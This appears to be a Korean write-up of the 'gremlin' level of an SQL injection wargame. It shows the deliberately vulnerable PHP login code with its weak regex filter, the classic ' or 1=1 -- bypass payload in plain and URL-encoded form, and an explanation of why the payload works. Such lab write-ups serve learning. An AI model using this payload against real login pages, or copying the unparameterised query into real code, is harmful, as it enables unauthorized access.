문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

id, pw 값이 SQL 문자열 안에 그대로 들어가고, result['id'] 값이 존재하기만 하면 문제가 풀립니다.

exploit

?id=' or 1=1 -- &pw=

URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.

?id=%27%20or%201=1%20--%20&pw=

최종 쿼리는 아래와 같은 형태가 됩니다.

select id from prob_gremlin where id='' or 1=1 -- ' and pw=''

id='' 조건은 거짓이어도 or 1=1이 항상 참이기 때문에 결과가 반환됩니다. 뒤의 and pw='' 조건은 -- 주석으로 처리되어 실행되지 않습니다.

배운 내용

  • SQL Injection의 기본 구조는 문자열을 닫고 원하는 조건을 추가하는 방식입니다.
  • or 1=1은 항상 참이므로 인증 우회에 자주 사용됩니다.
  • MySQL에서 -- 주석은 뒤에 공백이 필요합니다. URL에서는 %20으로 공백을 명확히 넣는 것이 안전합니다.